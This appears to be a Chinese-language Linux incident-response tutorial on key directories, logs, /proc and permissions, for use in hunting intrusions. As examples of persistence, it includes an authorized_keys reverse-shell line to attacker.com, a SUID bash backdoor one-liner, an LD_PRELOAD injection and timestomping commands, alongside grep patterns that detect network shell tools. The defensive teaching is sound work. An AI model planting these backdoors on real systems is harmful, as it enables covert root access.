Linux 系统基础与关键目录 (System Fundamentals & Key Directories for IR)
应急响应的第一步不是跑工具,而是理解你面前的系统。本页系统性地梳理 Linux 中与安全相关的关键文件和目录,是后续所有排查工作的基础。
前置要求:具备基本 Linux 命令行操作能力
关联页面:Linux应急响应/02-进程与网络排查、Linux应急响应/03-持久化机制排查、Linux应急响应/04-日志分析
1. 用户与认证相关文件 1.1 /etc/passwd 详解 /etc/passwd 是 Linux 中最核心的用户数据库文件,所有用户都可以读取
文件格式 :每行代表一个用户,共 7 个字段,以冒号 : 分隔
字段序号
字段名称
说明
示例
1
用户名
登录名
root
2
密码占位
x 表示密码存储在 /etc/shadow
x
3
UID
用户 ID,0 为 root 权限
0
4
GID
主组 ID
0
5
GECOS
用户描述信息(全名等)
root
6
主目录
用户的 home 目录
/root
7
Shell
登录时使用的 shell
/bin/bash
正常条目示例
1 2 3 4 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin lucy:x:1000:1000:Lucy:/home/lucy:/bin/bash
IR 排查要点:发现异常账户
检查 UID 为 0 的账户 (除 root 外不应该有其他 UID 0 账户)
1 2 3 4 5 6 7 8 9 awk -F: '$3 == 0 {print $0}' /etc/passwd
检查异常 Shell (系统账户不应该有可登录的 shell)
1 2 3 4 awk -F: '$7 != "/usr/sbin/nologin" && $7 != "/bin/false" && $7 != "/sbin/nologin" {print $1, $7}' /etc/passwd
检查没有密码的账户 (第 2 个字段为空表示无需密码即可登录)
1 2 awk -F: '$2 == "" {print $1, "没有设置密码!"}' /etc/passwd
检查近期新增的用户 (按 UID 排序,看最后添加的)
1 2 3 4 5 sort -t: -k3 -n /etc/passwd | tail -10diff /etc/passwd /etc/passwd-
检查 home 目录异常的用户
1 2 awk -F: '$6 !~ /^\/(home|root|var|usr|run|nonexistent)/ && $3 >= 1000 {print $1, $6}' /etc/passwd
1.2 /etc/shadow 详解 /etc/shadow 存储用户的加密密码和密码策略,只有 root 可读
文件格式 :每行 9 个字段,以冒号 : 分隔
字段序号
字段名称
说明
1
用户名
与 /etc/passwd 对应
2
密码哈希
加密后的密码
3
最后修改日期
从 1970-01-01 算起的天数
4
最小间隔
两次修改密码之间的最少天数
5
最大有效期
密码有效的最大天数
6
警告期
过期前多少天提醒用户
7
不活动期
过期后多少天账户被禁用
8
过期日期
账户过期的绝对日期
9
保留字段
暂未使用
密码哈希格式详解
密码哈希的格式为 $id$salt$hash,其中 $id$ 表示哈希算法:
标识
算法
安全性
说明
$1$
MD5
不安全
已过时,容易被破解
$2a$ / $2b$ / $2y$
Blowfish (bcrypt)
较安全
部分系统使用
$5$
SHA-256
安全
推荐的最低标准
$6$
SHA-512
安全
现代 Linux 默认
$y$
yescrypt
非常安全
最新系统如 Debian 12/Ubuntu 24.04 默认
1 2 3 4 5 6 7 8 9 root:$6$rounds =5000$Kq3Xf9Yw$aBcDeFgH ...长哈希值...:19500:0:99999:7::: lucy:$y$j9T$salt$hash :19650:0:99999:7:::
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 sudo awk -F: '$2 == "" {print $1, "空密码!"}' /etc/shadowsudo awk -F: '$2 ~ /^\$1\$/ {print $1, "使用MD5哈希,不安全!"}' /etc/shadowsudo awk -F: '{if ($3 != "" && $3 > 19600) print $1, "密码修改于", $3, "天(距1970)"}' /etc/shadowdate -d "1970-01-01 + 19650 days" +%Y-%m-%dsudo awk -F: '$2 ~ /^!/ {print $1, "账户被锁定"}' /etc/shadow
1.3 /etc/group 和 /etc/gshadow /etc/group 格式 :组名:密码:GID:组成员列表
1 2 3 4 5 root:x:0: sudo :x:27:lucy,admindocker:x:999:lucy www-data:x:33:
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 12 grep -E '^(sudo|wheel):' /etc/group grep '^docker:' /etc/group grep '^root:' /etc/group groups suspicious_userid suspicious_user
/etc/gshadow 存储组密码(很少使用),格式:组名:加密密码:管理员:组成员
1.4 /etc/sudoers 和 /etc/sudoers.d/ sudoers 文件控制谁可以使用 sudo 执行特权命令
关键配置格式
1 2 3 4 5 6 7 root ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL lucy ALL=(ALL) NOPASSWD: ALL deploy ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart myapp
NOPASSWD 的危险性
NOPASSWD 意味着用户执行 sudo 不需要输入密码
攻击者一旦获取了该用户的 shell,就直接拥有 root 权限
很多运维人员为了方便会配置 NOPASSWD: ALL,这是极大的安全隐患
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 sudo grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/ 2>/dev/nullls -la /etc/sudoers.d/for f in /etc/sudoers.d/*; do echo "=== $f ===" ; sudo cat "$f " ; done stat /etc/sudoers /etc/sudoers.d/*
1.5 /etc/login.defs 该文件定义了系统范围的密码策略和用户创建默认值
关键配置项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PASS_MAX_DAYS 99999 PASS_MIN_DAYS 0 PASS_MIN_LEN 8 PASS_WARN_AGE 7 UID_MIN 1000 UID_MAX 60000 SYS_UID_MIN 100 SYS_UID_MAX 999 ENCRYPT_METHOD SHA512
IR 排查要点 :检查该文件是否被修改,特别是 ENCRYPT_METHOD 是否被降级为 MD5
2. SSH 相关文件 2.1 /etc/ssh/sshd_config SSH 服务端配置文件,控制着远程登录的安全策略
关键安全配置项
配置项
推荐值
说明
PermitRootLogin
no 或 prohibit-password
是否允许 root 直接 SSH 登录
PasswordAuthentication
no
是否允许密码认证(建议仅用密钥)
PubkeyAuthentication
yes
是否启用公钥认证
AuthorizedKeysFile
.ssh/authorized_keys
公钥文件的路径
PermitEmptyPasswords
no
是否允许空密码登录
MaxAuthTries
3
最大认证尝试次数
AllowUsers / AllowGroups
按需配置
白名单
Port
非 22
监听端口
ListenAddress
指定 IP
监听地址
UsePAM
yes
是否使用 PAM 认证
X11Forwarding
no
是否允许 X11 转发
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 12 sudo sshd -T | grep -iE 'permitrootlogin|passwordauthentication|authorizedkeysfile|permitemptypasswords|pubkeyauthentication|usepam' stat /etc/ssh/sshd_configgrep -i 'include' /etc/ssh/sshd_config grep AuthorizedKeysFile /etc/ssh/sshd_config
2.2 ~/.ssh/authorized_keys 该文件存储允许登录该用户的 SSH 公钥
标准格式
1 2 3 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQ... user@hostname ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHj... admin@server
危险的 command= 选项
command= 选项可以限制该密钥只能执行特定命令,但也可以被攻击者利用
1 2 3 4 5 6 7 8 command ="/usr/local/bin/backup.sh" ssh-rsa AAAAB3...command ="/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" ssh-rsa AAAAB3...command ="(/tmp/.backdoor &); $SSH_ORIGINAL_COMMAND " ssh-rsa AAAAB3...
其他可用选项(都可能被利用)
1 2 3 4 5 6 7 8 from="10.0.0.1,192.168.1.*" ssh-rsa AAAAB3... environment="LD_PRELOAD=/tmp/evil.so" ssh-rsa AAAAB3... permitopen="localhost:3306" ssh-rsa AAAAB3...
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for user_home in /home/* /root; do if [ -f "$user_home /.ssh/authorized_keys" ]; then echo "=== $user_home /.ssh/authorized_keys ===" cat "$user_home /.ssh/authorized_keys" stat "$user_home /.ssh/authorized_keys" echo "" fi done grep -r 'command=' /home/*/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null find /home -name authorized_keys -exec ls -la {} \;
2.3 ~/.ssh/known_hosts 记录了用户曾经连接过的 SSH 服务器的主机密钥指纹
IR 价值 :可以揭示攻击者从这台机器横向移动(lateral movement)到了哪些服务器
1 2 3 4 5 6 7 |1|Base64Salt=|Base64Hash= ssh-rsa AAAAB3... 192.168.1.100 ssh-rsa AAAAB3... webserver.internal.com,10.0.0.50 ssh-ed25519 AAAAC3...
IR 排查要点
1 2 3 4 5 6 7 8 9 10 11 12 13 for user_home in /home/* /root; do if [ -f "$user_home /.ssh/known_hosts" ]; then echo "=== $user_home /.ssh/known_hosts ===" cat "$user_home /.ssh/known_hosts" fi done wc -l /root/.ssh/known_hostsawk '{print $1}' /root/.ssh/known_hosts | sort -u
2.4 /etc/ssh/ssh_host_* 主机密钥 这些是 SSH 服务器的身份标识密钥,如果被替换可能意味着中间人攻击
1 2 3 4 5 6 7 8 9 10 11 12 ls -la /etc/ssh/ssh_host_*stat /etc/ssh/ssh_host_*_key
3. 日志目录 /var/log/ 3.1 日志文件总览 以下表格列出了 IR 中最重要的日志文件:
日志文件
用途
Ubuntu/Debian
CentOS/RHEL
格式
认证日志
登录、sudo、SSH 等认证事件
/var/log/auth.log
/var/log/secure
文本
系统日志
系统级事件、服务状态
/var/log/syslog
/var/log/messages
文本
内核日志
内核事件、硬件、防火墙
/var/log/kern.log
/var/log/messages
文本
登录记录
成功登录的历史
/var/log/wtmp
/var/log/wtmp
二进制
失败登录
登录失败的记录
/var/log/btmp
/var/log/btmp
二进制
最后登录
每个用户最后登录时间
/var/log/lastlog
/var/log/lastlog
二进制
Cron 日志
计划任务执行记录
/var/log/syslog
/var/log/cron
文本
邮件日志
邮件服务日志
/var/log/mail.log
/var/log/maillog
文本
启动日志
系统启动过程
/var/log/boot.log
/var/log/boot.log
文本
审计日志
SELinux/审计事件
/var/log/audit/audit.log
/var/log/audit/audit.log
文本
DPKG/YUM
软件包安装记录
/var/log/dpkg.log
/var/log/yum.log
文本
Journal
systemd 统一日志
journalctl
journalctl
二进制
3.2 auth.log / secure:认证日志 这是 IR 中最重要的日志文件之一,记录了所有认证相关的事件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Apr 2 10:15:23 server sshd[12345]: Accepted publickey for lucy from 192.168.1.100 port 52341 ssh2: RSA SHA256:xxxxx Apr 2 10:16:01 server sshd[12346]: Failed password for root from 10.0.0.50 port 43210 ssh2 Apr 2 10:16:03 server sshd[12346]: Failed password for invalid user admin from 10.0.0.50 port 43210 ssh2 Apr 2 10:20:00 server sudo : lucy : TTY=pts/0 ; PWD=/home/lucy ; USER=root ; COMMAND=/bin/cat /etc/shadow Apr 2 11:00:00 server useradd[12400]: new user: name=backdoor, UID=0, GID=0, home=/root, shell=/bin/bash Apr 2 11:05:00 server su: (to root) lucy on pts/0
IR 排查命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20 grep 'Accepted' /var/log/auth.log | tail -20 grep 'sudo:' /var/log/auth.log | grep 'COMMAND' | tail -20 grep -E 'useradd|userdel|usermod|groupadd' /var/log/auth.log grep 'passwd' /var/log/auth.log
3.3 syslog / messages:系统日志 记录系统服务的各种事件
1 2 3 4 5 6 7 8 grep -E 'Started|Stopped|Failed' /var/log/syslog | tail -20 grep 'CRON' /var/log/syslog grep -iE 'network|interface|dhcp' /var/log/syslog | tail -20
3.4 wtmp / btmp / lastlog:登录记录(二进制格式) 这三个文件是二进制格式,不能直接用 cat 查看,需要专用命令
wtmp - 成功登录记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 last -f /var/log/wtmp last lucy last -i -a last reboot
btmp - 失败登录记录
1 2 3 4 5 6 7 8 sudo lastb -f /var/log/btmpsudo lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head -10
lastlog - 每个用户的最后登录时间
1 2 3 4 5 6 7 8 9 10 lastlog lastlog | grep -v 'Never'
#+BEGIN_WARNING 攻击者经常使用工具清除 wtmp/btmp 日志来掩盖痕迹。如果这些文件的大小异常小或修改时间可疑,要高度警惕。 #+END_WARNING
3.5 kern.log / dmesg:内核日志 记录内核级别的事件,包括硬件检测、驱动加载、iptables 日志等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 dmesg | tail -50 dmesg -T | tail -50 dmesg | grep -iE 'module|insmod|modprobe' grep -i 'iptables\|nftables\|BLOCKED\|DROP' /var/log/kern.log dmesg | grep -i 'oom\|killed process'
3.6 cron 日志 1 2 3 4 5 6 7 8 9 10 11 12 cat /var/log/crongrep 'CRON' /var/log/syslog grep 'CRON' /var/log/syslog | grep -iE 'curl|wget|python|perl|bash|nc|ncat'
3.7 各服务日志 Web 服务器日志
1 2 3 4 5 6 7 8 9 10 /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log grep -iE 'eval|exec|system|cmd|shell|union.*select|\.\./' /var/log/nginx/access.log
数据库日志
1 2 3 4 5 6 /var/log/mysql/error.log /var/log/mysql/mysql.log /var/log/postgresql/postgresql-*-main.log
应用服务日志
1 2 3 4 5 6 7 /var/log/tomcat*/catalina.out /var/log/tomcat*/localhost_access_log.*.txt /var/log/docker.log
Systemd Journal 统一日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 journalctl journalctl -u sshd journalctl -u nginx journalctl --since "2026-04-01 00:00:00" --until "2026-04-02 23:59:59" journalctl -k journalctl -p err
4. /proc 虚拟文件系统(重点)
/proc 是 IR 分析师的宝库。它是内核在内存中维护的虚拟文件系统,反映了系统的实时运行状态。即使攻击者删除了磁盘上的恶意文件,/proc 中仍然保留着正在运行的进程信息。
4.1 /proc/[pid]/exe - 进程可执行文件 这是一个符号链接,指向进程对应的可执行文件
即使原始文件已被删除,仍然可以通过这个链接恢复可执行文件!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls -la /proc/1234/exels -la /proc/5678/execp /proc/5678/exe /tmp/recovered_malwaremd5sum /tmp/recovered_malwaresha256sum /tmp/recovered_malware
4.2 /proc/[pid]/cmdline - 启动命令行 记录进程启动时的完整命令行参数
1 2 3 4 5 6 7 8 9 cat /proc/1234/cmdline | tr '\0' ' ' ls -la /proc/1234/exe cat /proc/1234/cmdline | tr '\0' ' '
4.3 /proc/[pid]/cwd - 工作目录 指向进程的当前工作目录
1 2 3 4 5 6 7 8 9 10 11 12 13 ls -la /proc/1234/cwdfor pid in /proc/[0-9]*/; do cwd=$(readlink "${pid} cwd" 2>/dev/null) exe=$(readlink "${pid} exe" 2>/dev/null) if echo "$cwd " | grep -qE '^/(tmp|dev/shm|var/tmp)' ; then echo "PID $(basename $pid) : exe=$exe cwd=$cwd " fi done
4.4 /proc/[pid]/fd/ - 文件描述符 列出进程打开的所有文件、管道、套接字等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -la /proc/1234/fd/cp /proc/1234/fd/4 /tmp/recovered_deleted_filelsof -p 1234
4.5 /proc/[pid]/environ - 环境变量 记录进程的环境变量,以 NULL 字符分隔
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat /proc/1234/environ | tr '\0' '\n' cat /proc/1234/environ | tr '\0' '\n' | grep LD_PRELOADcat /proc/1234/environ | tr '\0' '\n' | grep LD_LIBRARY_PATHcat /proc/1234/environ | tr '\0' '\n' | grep ^PATHfor pid in /proc/[0-9]*/; do env_file="${pid} environ" if [ -r "$env_file " ]; then result=$(cat "$env_file " 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD) if [ -n "$result " ]; then echo "PID $(basename $pid) : $result " fi fi done
4.6 /proc/[pid]/maps - 内存映射 显示进程的虚拟内存布局,包括加载的共享库
1 2 3 4 5 6 7 8 9 10 11 12 13 cat /proc/1234/mapsgrep -l '/tmp/\|/dev/shm/\|/var/tmp/' /proc/*/maps 2>/dev/null cat /proc/1234/maps | grep -vE '/lib/|/usr/lib/|/lib64/'
4.7 /proc/[pid]/status - 进程状态信息 提供进程的详细状态,包括 UID、GID、线程数等
1 2 3 4 5 6 7 8 9 10 11 12 13 cat /proc/1234/status
4.8 /proc/net/tcp - 网络连接 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat /proc/net/tcpss -tulnp netstat -tulnp
4.9 通过 /proc 发现隐藏进程 某些 rootkit 会隐藏进程,使其不出现在 ps 的输出中
但 /proc 目录下的数字目录仍然存在(除非是内核级 rootkit)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ps -eo pid --no-headers | sort -n > /tmp/ps_pids.txt ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n > /tmp/proc_pids.txtdiff /tmp/ps_pids.txt /tmp/proc_pids.txt for pid in $(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}' ); do if ! ps -p "$pid " > /dev/null 2>&1; then exe=$(readlink /proc/$pid /exe 2>/dev/null) echo "隐藏进程! PID=$pid EXE=$exe " fi done
4.10 实战演示:通过 /proc 分析一个可疑进程 场景:你发现系统上有一个可疑进程 PID 31337,以下是完整分析步骤:
第一步:基本信息收集
1 2 3 4 5 6 7 8 9 10 11 cat /proc/31337/status | head -10ls -la /proc/31337/exe
第二步:查看启动命令和工作目录
1 2 3 4 5 cat /proc/31337/cmdline | tr '\0' ' ' ls -la /proc/31337/cwd
第三步:检查打开的文件和网络连接
1 2 3 4 5 6 7 8 9 ls -la /proc/31337/fd/grep '99999' /proc/31337/net/tcp
第四步:检查环境变量和内存映射
1 2 3 4 5 cat /proc/31337/environ | tr '\0' '\n' cat /proc/31337/maps | grep -vE '/lib/|/usr/lib/'
第五步:恢复被删除的恶意文件
1 2 3 4 5 6 7 8 9 10 11 12 cp /proc/31337/exe /tmp/evidence/malware_maincp /proc/31337/fd/4 /tmp/evidence/config_encsha256sum /tmp/evidence/malware_mainstrings /tmp/evidence/malware_main | grep -iE 'http|connect|shell|password|encrypt'
第六步:记录并处置
1 2 3 4 5 6 7 8 mkdir -p /tmp/evidence/proc_31337cat /proc/31337/status > /tmp/evidence/proc_31337/statuscat /proc/31337/cmdline > /tmp/evidence/proc_31337/cmdlinecat /proc/31337/environ > /tmp/evidence/proc_31337/environcat /proc/31337/maps > /tmp/evidence/proc_31337/mapsls -la /proc/31337/fd/ > /tmp/evidence/proc_31337/fd_listls -la /proc/31337/exe > /tmp/evidence/proc_31337/exe_link
5. 关键系统目录 5.1 临时目录:攻击者的最爱 攻击者偏爱以下三个目录存放恶意文件:
目录
特点
为什么攻击者喜欢
/tmp/
所有用户可写,重启后清空
全局可写,重启消失痕迹少
/var/tmp/
所有用户可写,重启后保留
全局可写,持久化更好
/dev/shm/
内存文件系统,所有用户可写
存在内存中,磁盘取证看不到
IR 排查命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -la /tmp/ /var/tmp/ /dev/shm/find /tmp /var/tmp /dev/shm -name ".*" -ls 2>/dev/null find /tmp /var/tmp /dev/shm -type f -executable -ls 2>/dev/null find /tmp /var/tmp /dev/shm -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.php" \) -ls 2>/dev/null find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null ls -la /dev/shm/
5.2 计划任务目录 计划任务是攻击者最常用的持久化机制之一
1 2 3 4 5 6 7 8 9 10 11 /etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ /var/spool/cron/crontabs/ /var/spool/cron/
IR 排查命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat /etc/crontabfor f in /etc/cron.d/*; do echo "=== $f ===" ; cat "$f " ; done ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/for user in $(cut -d: -f1 /etc/passwd); do crontab_content=$(crontab -l -u "$user " 2>/dev/null) if [ -n "$crontab_content " ]; then echo "=== $user 的 crontab ===" echo "$crontab_content " fi done cat /etc/anacrontabsystemctl list-timers --all
5.3 服务配置目录 1 2 3 4 5 6 7 8 9 /etc/init.d/ /etc/rc*.d/ /etc/systemd/system/ /usr/lib/systemd/system/ /run/systemd/system/ ~/.config/systemd/user/
IR 排查命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -la /etc/systemd/system/*.servicefind /etc/systemd/system/ -name "*.service" -mtime -30 -ls grep -rl 'ExecStart' /etc/systemd/system/ | while read f; do echo "=== $f ===" grep 'ExecStart' "$f " done systemctl list-unit-files --state=enabled ls -la /etc/init.d/
5.4 动态链接器配置 攻击者可以通过修改动态链接器配置来实现全局代码注入
/etc/ld.so.preload
这个文件中列出的共享库会被所有动态链接的程序加载
这是 LD_PRELOAD 的系统级版本,非常危险
1 2 3 4 5 6 7 8 9 10 11 12 cat /etc/ld.so.preloadif [ -f /etc/ld.so.preload ]; then echo "警告: /etc/ld.so.preload 文件存在!" cat /etc/ld.so.preload stat /etc/ld.so.preload fi
/etc/ld.so.conf 和 /etc/ld.so.conf.d/
定义了动态链接器搜索共享库的路径
1 2 3 4 5 6 7 cat /etc/ld.so.confls -la /etc/ld.so.conf.d/cat /etc/ld.so.conf.d/*.conf
5.5 PAM 认证模块 PAM(Pluggable Authentication Modules)控制 Linux 的认证流程
攻击者可以通过修改 PAM 配置或添加恶意 PAM 模块来绕过认证
1 2 3 4 5 6 7 8 9 10 ls -la /etc/pam.d//etc/pam.d/sshd /etc/pam.d/login /etc/pam.d/su /etc/pam.d/sudo /etc/pam.d/common-auth /etc/pam.d/system-auth
IR 排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for f in /etc/pam.d/sshd /etc/pam.d/login /etc/pam.d/common-auth; do echo "=== $f ===" stat "$f " 2>/dev/null done find /lib*/security/ /lib/x86_64-linux-gnu/security/ -name "*.so" -newer /etc/passwd -ls 2>/dev/null grep 'pam_exec' /etc/pam.d/*
5.6 全局 Shell 配置 1 2 3 4 5 6 7 8 9 10 11 12 /etc/profile /etc/profile.d/*.sh /etc/bash.bashrc /etc/bashrc /etc/environment ~/.bashrc ~/.bash_profile ~/.profile ~/.bash_logout
IR 排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ls -la /etc/profile.d/for f in /etc/profile.d/*.sh; do echo "=== $f ===" ; cat "$f " ; done for user_home in /home/* /root; do for rc in .bashrc .bash_profile .profile .bash_logout; do f="$user_home /$rc " if [ -f "$f " ]; then suspicious=$(grep -iE 'curl|wget|nc |ncat|python.*-c|bash.*-i|/dev/tcp|base64' "$f " ) if [ -n "$suspicious " ]; then echo "可疑! $f :" echo "$suspicious " fi fi done done
6. 文件权限深入 6.1 标准权限 rwx 复习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ls -la /etc/passwdls -la /etc/shadow
6.2 SUID / SGID / Sticky Bit 详解 SUID (Set User ID) - 权限位 4000
设置了 SUID 的可执行文件在执行时,会以文件属主的身份运行(而非执行者)
1 2 3 4 5 6 7 ls -la /usr/bin/passwd
为什么 SUID 对 IR 极其重要
攻击者可以给 /bin/bash 或其他程序设置 SUID 位来创建提权后门
某些 SUID 程序存在已知漏洞可被利用提权
比如:攻击者复制 bash 并设置 SUID:cp /bin/bash /tmp/.suid_bash; chmod u+s /tmp/.suid_bash
IR 排查:查找所有 SUID 文件
1 2 3 4 5 6 7 8 9 10 11 find / -perm -4000 -type f -ls 2>/dev/null find / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/(bin|sbin|lib)|bin|sbin)/'
SGID (Set Group ID) - 权限位 2000
类似 SUID,但以文件属组的身份运行
对于目录:在该目录下创建的文件会继承目录的组
1 2 find / -perm -2000 -type f -ls 2>/dev/null
Sticky Bit - 权限位 1000
通常用于 /tmp 等公共目录,防止用户删除他人的文件
6.3 扩展属性:lsattr / chattr Linux 文件系统支持扩展属性,最常见的是 immutable(不可修改)标志
1 2 3 4 5 6 7 8 9 lsattr /etc/passwd chattr +i /etc/passwd chattr -i /etc/passwd
IR 场景
防御方:可以对关键配置文件设置 immutable 防止篡改
攻击方:可能对植入的恶意文件设置 immutable 防止被清除
1 2 3 4 5 6 7 8 9 10 11 12 13 lsattr /etc/passwd /etc/shadow /etc/sudoers /etc/crontab lsattr /tmp/* /var/tmp/* /dev/shm/* 2>/dev/null | grep 'i' lsattr /etc/cron.d/* 2>/dev/null
6.4 ACL:getfacl / setfacl ACL(Access Control Lists)提供比标准 rwx 更细粒度的权限控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 getfacl /etc/shadow setfacl -m u:hacker:rwx /etc/shadow ls -la /etc/shadowgetfacl /etc/shadow /etc/passwd /etc/sudoers 2>/dev/null getfacl -R /etc/ 2>/dev/null | grep -B5 'user:.*:rw'
7. 文件时间戳 7.1 三种时间戳的区别 Linux 文件系统为每个文件维护三个时间戳:
时间戳
名称
含义
触发修改的操作
atime
Access Time
最后访问时间
cat, less, read()
mtime
Modify Time
内容最后修改时间
echo "x" >> file, write()
ctime
Change Time
元数据最后变化时间
chmod, chown, 内容修改也会更新
#+BEGIN_TIP ctime 不是创建时间(Create Time)!Linux 传统文件系统不记录创建时间。但 ext4 支持 crtime(Birth Time),可以用 stat 查看。 #+END_TIP
7.2 stat 命令详解 1 2 3 4 5 6 7 8 9 10 stat /etc/passwd
使用 stat 进行 IR 排查
1 2 3 4 5 6 7 8 9 10 11 find /etc -type f -mtime -7 -ls find /etc -type f -ctime -7 -ls find / -type f -newermt "2026-04-01 00:00:00" -not -newermt "2026-04-02 00:00:00" -ls 2>/dev/null stat /etc/passwd /etc/shadow /etc/sudoers /etc/crontab /etc/ssh/sshd_config
7.3 时间戳篡改(Timestomping) 攻击者可以修改文件的 atime 和 mtime 来掩盖痕迹
1 2 3 4 5 6 7 8 9 10 touch -t 202301010000.00 /tmp/malware touch -r /etc/hostname /tmp/malware
检测时间戳篡改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 find /tmp /var/tmp /home -type f -exec stat --format='%n mtime=%y ctime=%z' {} \; 2>/dev/null | \ awk '{print}' | sort python3 -c " import os, stat as st for root, dirs, files in os.walk('/tmp'): for f in files: path = os.path.join(root, f) try: s = os.stat(path) diff = abs(s.st_mtime - s.st_ctime) if diff > 86400: # 差距超过1天 print(f'可疑: {path} mtime与ctime相差{diff/86400:.1f}天') except: pass "
7.4 noatime 挂载选项的影响 许多服务器为了性能会使用 noatime 或 relatime 挂载选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mount | grep -E 'noatime|relatime' cat /etc/fstab
8. 实战练习 练习场景:被入侵系统排查
你接到告警,一台 Linux Web 服务器疑似被入侵。按照本页知识点逐一排查以下关键目录和文件。
第一阶段:用户和认证排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 echo "========== 1. 用户排查 ==========" echo "[*] UID 为 0 的账户:" awk -F: '$3 == 0 {print}' /etc/passwd echo "[*] 可登录 shell 的账户:" awk -F: '$7 ~ /bash|sh$/ {print $1, $3, $7}' /etc/passwd echo "[*] 空密码账户:" sudo awk -F: '$2 == "" {print $1}' /etc/shadowecho "[*] 最近修改密码的账户:" sudo awk -F: '{if($3 > 19600) print $1, $3}' /etc/shadowecho "[*] NOPASSWD 配置:" sudo grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/ 2>/dev/null
第二阶段:SSH 排查
1 2 3 4 5 6 7 8 9 echo "========== 2. SSH 排查 ==========" echo "[*] SSH 配置关键项:" sudo sshd -T 2>/dev/null | grep -iE 'permitrootlogin|passwordauthentication' echo "[*] 所有 authorized_keys:" find /home /root -name authorized_keys -exec echo "--- {} ---" \; -exec cat {} \; 2>/dev/null echo "[*] authorized_keys 中的 command= 选项:" grep -r 'command=' /home/*/.ssh/ /root/.ssh/ 2>/dev/null
第三阶段:日志快速检查
1 2 3 4 5 6 7 8 9 10 echo "========== 3. 日志排查 ==========" echo "[*] 最近的成功 SSH 登录:" grep 'Accepted' /var/log/auth.log 2>/dev/null | tail -10 grep 'Accepted' /var/log/secure 2>/dev/null | tail -10 echo "[*] 暴力破解统计(前10个IP):" grep 'Failed password' /var/log/auth.log 2>/dev/null | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10 echo "[*] 新创建的用户:" grep -E 'useradd|adduser' /var/log/auth.log 2>/dev/null
第四阶段:进程和 /proc 排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 echo "========== 4. 进程排查 ==========" echo "[*] 可疑进程(工作目录在 /tmp 等):" for pid in /proc/[0-9]*/; do cwd=$(readlink "${pid} cwd" 2>/dev/null) exe=$(readlink "${pid} exe" 2>/dev/null) if echo "$cwd " | grep -qE '^/(tmp|dev/shm|var/tmp)' ; then echo "PID=$(basename $pid) EXE=$exe CWD=$cwd " fi done echo "[*] 已删除但仍在运行的程序:" ls -la /proc/*/exe 2>/dev/null | grep '(deleted)' echo "[*] LD_PRELOAD 检查:" for pid in /proc/[0-9]*/; do result=$(cat "${pid} environ" 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD) [ -n "$result " ] && echo "PID=$(basename $pid) : $result " done
第五阶段:关键目录排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 echo "========== 5. 关键目录排查 ==========" echo "[*] 临时目录可疑文件:" find /tmp /var/tmp /dev/shm -type f -executable -ls 2>/dev/null find /tmp /var/tmp /dev/shm -name ".*" -ls 2>/dev/null echo "[*] 计划任务排查:" cat /etc/crontabls -la /etc/cron.d/for user in $(cut -d: -f1 /etc/passwd); do ct=$(crontab -l -u "$user " 2>/dev/null) [ -n "$ct " ] && echo "--- $user ---" && echo "$ct " done echo "[*] 可疑 systemd 服务:" find /etc/systemd/system/ -name "*.service" -mtime -30 -ls 2>/dev/null echo "[*] ld.so.preload 检查:" [ -f /etc/ld.so.preload ] && echo "警告! 存在 /etc/ld.so.preload:" && cat /etc/ld.so.preload || echo "正常,文件不存在"
